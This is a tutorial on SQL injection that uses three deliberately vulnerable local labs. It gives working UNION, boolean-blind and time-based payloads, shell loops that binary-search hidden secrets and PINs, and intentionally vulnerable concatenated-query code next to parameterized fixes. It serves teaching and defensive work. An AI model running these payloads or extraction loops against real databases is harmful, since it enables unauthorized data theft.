SQL Injection

In JWT Attacks, we modified authentication tokens and tested whether the server verified them correctly. In this article, we will follow user input across another trust boundary: from an HTTP request into a database query.

Using Labs 12–14 of h5i-tutorial, we will learn three forms of SQL injection:

• UNION-based SQL injection, where database rows appear in the response;
• boolean-based blind SQL injection, where the application reveals one bit through true or false; and
• time-based blind SQL injection, where the response body never changes but its timing does.

We will use h5i to capture normal requests, change one query parameter, and measure differences in status, size, and response time.

These are deliberately vulnerable local labs. SQL injection can expose or destroy real data, so only test systems you own or have explicit authorization to assess.

Before we begin

You need Python 3.11 or later, h5i, and its websec plugin. The tutorial README contains the complete setup.

$ git clone https://github.com/h5i-dev/h5i-tutorial.git
$ cd h5i-tutorial/websec
$ h5i websec --help

What is SQL injection?

Applications use SQL to read and modify relational databases. A safe query keeps its instructions separate from user-supplied values.

For example:

db.execute(
    "SELECT id, name, price FROM products WHERE name LIKE ?",
    (f"%{search}%",),
)

The question mark is a parameter placeholder. The database treats search as data, even when it contains quotes or SQL keywords.

A vulnerable application may instead construct the query as text:

sql = (
    "SELECT id, name, price FROM products "
    f"WHERE name LIKE '%{search}%'"
)

If search contains a quote, it can end the string literal and turn the remaining input into SQL syntax. This is SQL injection.

Lab 12: make the database print another table

Start the catalogue lab:

$ ./run.sh 12

Open a normal product search:

$ h5i browser open \
  'http://127.0.0.1:9120/api/products?q=compass' \
  --session lab12 --new --capture
$ h5i websec show res_0 --session lab12 --raw

The response contains two products whose names include “compass.” Before trying a full payload, send one quote:

$ h5i websec replay req_0 --session lab12 \
  --set "query.q=compass'"
$ h5i websec show res_1 --session lab12 --raw

The application returns 500 and shows the query it attempted:

{
  "error": "unrecognized token: \"'\"",
  "sql": "SELECT id, name, price FROM products WHERE name LIKE '%compass'%'"
}

Our quote ended the original string early. The final %' supplied by the application is now misplaced SQL syntax.

A single error is a lead, not yet proof. A stronger test compares opposite conditions:

$ h5i websec replay req_0 --session lab12 \
  --set "query.q=compass%' AND '1'='1' -- "

$ h5i websec replay req_0 --session lab12 \
  --set "query.q=compass%' AND '1'='2' -- "

If the first retains the original results and the second removes them, our input changed the query’s logic—not merely its syntax.

Count the result columns

SQL’s UNION operator combines rows from two queries. Both sides must return the same number of columns in compatible positions.

The normal response contains id, name, and price, suggesting three columns. We can verify that with ORDER BY:

$ for n in 1 2 3 4 5; do
    printf '%s ' "$n"
    h5i websec replay req_0 --session lab12 \
      --reset-budget \
      --set "query.q=zz%' ORDER BY $n -- " |
      python3 -c 'import json,sys; print(json.load(sys.stdin)["response"]["status"])'
  done

The result is:

1 200
2 200
3 200
4 500
5 500

Ordering by the fourth column fails, so the original query returns three columns.

Discover the table

This lab uses SQLite. SQLite stores information about tables in sqlite_master. Inject a second three-column query:

$ h5i websec replay req_0 --session lab12 \
  --set "query.q=zz%' UNION SELECT 1, name, 0 FROM sqlite_master WHERE type='table' -- "

Note the seq from the replay output and inspect its res_N. The result lists both products and api_keys.

The leading zz% makes the original product search return no rows. This keeps the output focused on rows introduced by our UNION.

Now read the secret:

$ h5i websec replay req_0 --session lab12 \
  --set "query.q=zz%' UNION SELECT id, secret, 0 FROM api_keys -- "

Inspect the new response. The injected row contains:

FLAG{sqli_union}

The -- at the end comments out the remaining quote and percent sign from the original query. Keeping a space after -- also makes the payload compatible with SQL engines that require whitespace after the comment marker.

Why did this work?

The vulnerable handler directly inserts the search value into SQL:

q = req.query.get("q", "")
sql = (
    "SELECT id, name, price FROM products "
    f"WHERE name LIKE '%{q}%'"
)
rows = db().execute(sql).fetchall()

The fix is parameterization:

rows = db().execute(
    "SELECT id, name, price FROM products WHERE name LIKE ?",
    (f"%{q}%",),
).fetchall()

Escaping individual dangerous characters is fragile. Parameterization prevents the value from becoming SQL syntax at all.

Lab 13: extract a secret through a boolean

Lab 12 printed database rows in the response. Many applications do not.

Start the waitlist lab:

$ ./run.sh 13

Its endpoint answers only whether an email address is on the list:

$ h5i browser open \
  'http://127.0.0.1:9130/api/check?email=ada@example.test' \
  --session lab13 --new --capture
$ h5i websec show res_0 --session lab13 --raw

{"on_list": true}

When injection exists but the application does not directly print query results or database errors, it is called blind SQL injection.

“Blind” does not mean that no information escapes. It means we need to identify a smaller signal and ask the database a series of questions.

Establish a boolean oracle

An oracle is a behavior that answers a question about otherwise hidden data.

Send two payloads that differ only in whether their predicate is true:

$ h5i websec replay req_0 --session lab13 \
  --set "query.email=zz' OR (1=1) -- "

$ h5i websec replay req_0 --session lab13 \
  --set "query.email=zz' OR (1=2) -- "

The first response contains:

{"on_list": true}

The second contains:

{"on_list": false}

We can now replace 1=1 with a question about the hidden voucher code:

(SELECT unicode(substr(code,1,1)) FROM vouchers) > 79

This asks whether the numeric value of the first character is greater than 79.

Read the signal without fetching every body

The JSON response containing true is 17 bytes; the response containing false is 18. h5i includes the response size in the normal JSON output from replay, so a loop can branch on that number.

Define a small function:

$ ask() {
    h5i websec replay req_0 --session lab13 \
      --reset-budget \
      --set "query.email=zz' OR ($1) -- " |
      python3 -c 'import json,sys; print(json.load(sys.stdin)["response"]["bytes"])'
  }

$ TRUE_BYTES=$(ask "1=1")

--reset-budget matters because extracting a secret requires many requests. Without it, the session’s bounded network allowance could stop the loop partway through and make the remaining answers look false.

Binary-search each character

Trying every printable character could require dozens of questions per position. A binary search halves the remaining range after every answer and needs about seven questions for a printable ASCII character.

The following loop first checks the secret’s length, then extracts each character:

$ OUT=""

$ for i in $(seq 1 64); do
    if [ "$(ask "(SELECT length(code) FROM vouchers) < $i")" = "$TRUE_BYTES" ]; then
      break
    fi

    LO=32
    HI=126

    while [ "$LO" -lt "$HI" ]; do
      MID=$(( (LO + HI) / 2 ))

      if [ "$(ask "(SELECT unicode(substr(code,$i,1)) FROM vouchers) > $MID")" = "$TRUE_BYTES" ]; then
        LO=$((MID + 1))
      else
        HI=$MID
      fi
    done

    OUT="$OUT$(printf "\\$(printf '%03o' "$LO")")"
    printf '\r%s' "$OUT"
  done

$ printf '\n%s\n' "$OUT"
FLAG{sqli_blind_boolean}

Each request leaks only one yes-or-no answer. Together, those answers reconstruct the entire value.

Why did this work?

The endpoint builds another query through string concatenation:

sql = f"SELECT 1 FROM members WHERE email = '{email}'"
found = db().execute(sql).fetchone() is not None
return js({"on_list": found})

The application hides database rows and errors, but it exposes whether the query returned a row. Hiding output reduces the bandwidth of the vulnerability; it does not remove the vulnerability.

The real fix is still a parameterized query. Rate limits and detection of hundreds of near-identical requests are useful additional defenses, but they do not make concatenated SQL safe.

Lab 14: extract a secret through time

Lab 14 removes even the boolean. Start it:

$ ./run.sh 14

Open the coupon endpoint:

$ h5i browser open \
  'http://127.0.0.1:9140/api/coupon?code=SPRING10' \
  --session lab14 --new --capture

Whatever coupon we send, the response is always:

{"checked": true}

The status and body do not reveal whether the database condition was true. The server can still reveal one thing unintentionally: how long the query took.

Build a timing oracle

The lab registers a SQLite function named sleep. Use it only when a predicate is true:

zz' OR (
  SELECT CASE
    WHEN (1=1) THEN sleep(0.4)
    ELSE 0
  END
  FROM staff
  WHERE name='admin'
) --

Calibrate the difference with repeated samples:

$ h5i websec replay req_0 --session lab14 --repeat 5 \
  --set "query.code=zz' OR (SELECT CASE WHEN (1=1) THEN sleep(0.4) ELSE 0 END FROM staff WHERE name='admin') -- "

$ h5i websec replay req_0 --session lab14 --repeat 5 \
  --set "query.code=zz' OR (SELECT CASE WHEN (1=2) THEN sleep(0.4) ELSE 0 END FROM staff WHERE name='admin') -- "

--repeat 5 reports every sample together with the median and median absolute deviation. These are more robust than relying on one request that may be delayed by unrelated system activity.

For this local lab, a threshold of 250 milliseconds cleanly separates the normal and delayed responses.

Extract the six-digit PIN

Define a function that returns one timing measurement:

$ ms() {
    h5i websec replay req_0 --session lab14 \
      --reset-budget \
      --set "query.code=zz' OR (SELECT CASE WHEN ($1) THEN sleep(0.4) ELSE 0 END FROM staff WHERE name='admin') -- " |
      python3 -c 'import json,sys; print(json.load(sys.stdin)["samples"][0]["total_ms"])'
  }

Network and scheduler noise can make a fast request look slow. A sleeping server cannot answer early. We therefore trust a fast result and confirm every slow result:

$ THRESHOLD=250

$ truth() {
    [ "$(ms "$1")" -lt "$THRESHOLD" ] && return 1
    [ "$(ms "$1")" -lt "$THRESHOLD" ] && return 1
    return 0
  }

The PIN contains only digits, so search character codes 48 through 57 instead of the entire printable range:

$ PIN=""

$ for i in $(seq 1 6); do
    LO=48
    HI=57

    while [ "$LO" -lt "$HI" ]; do
      MID=$(( (LO + HI) / 2 ))

      if truth "unicode(substr(pin,$i,1)) > $MID"; then
        LO=$((MID + 1))
      else
        HI=$MID
      fi
    done

    PIN="$PIN$(printf "\\$(printf '%03o' "$LO")")"
    printf '\r%s' "$PIN"
  done

$ printf '\n'
471902

Finally, send the recovered PIN to the vault:

$ h5i websec replay req_0 --session lab14 \
  --set path=/api/vault \
  --unset query.code \
  --create --set "query.pin=$PIN"

The response contains:

FLAG{sqli_blind_time}

Why did this work?

The vulnerable query is still simple string concatenation:

db().execute(
    f"SELECT 1 FROM coupons WHERE code = '{code}'"
).fetchone()

return js({"checked": True})

Returning a constant body and suppressing errors do not stop the injected expression from running. They only force the attacker to use a side channel.

Different database engines expose different delay functions, such as SLEEP in MySQL and pg_sleep in PostgreSQL. Statement timeouts can reduce the channel’s reliability, but parameterization is what removes the injection.

A reusable SQL injection workflow

These labs form one progression:

1. Send a quote and look for a change in status, body size, or error behavior.
2. Confirm control over query logic with a true and a false predicate.
3. If rows appear in the response, determine the column shape and test a UNION.
4. If only two response states remain, turn them into a boolean oracle.
5. If the response is constant, measure whether execution time forms an oracle.
6. Use binary search and the smallest known character range to reduce requests.
7. Confirm impact by retrieving a specific protected value.

The important habit is to read each probe through three signals: status, size, and time. A response does not have to print an SQL error to tell you that something changed.

Summary

Lab 12 let us place rows from api_keys into a product search response with UNION. Lab 13 exposed only a boolean, but that one bit per request was enough to reconstruct a voucher code. Lab 14 returned an entirely constant body, yet conditional delays revealed a six-digit PIN.

All three vulnerabilities had the same root cause: user input was concatenated into SQL. Error suppression and constant responses changed the exploitation technique, not the underlying bug.

When finished:

$ h5i browser close --session lab12
$ h5i browser close --session lab13
$ h5i browser close --session lab14
$ ./run.sh stop

In Injection Beyond SQL, we will continue beyond relational databases: NoSQL operator injection, shell command injection, server-side template injection, XXE, and second-order SQL injection.

References

• h5i
• h5i-tutorial: Web application security
• Lab 12: UNION SQL injection
• Lab 13: Boolean-based blind SQL injection
• Lab 14: Time-based blind SQL injection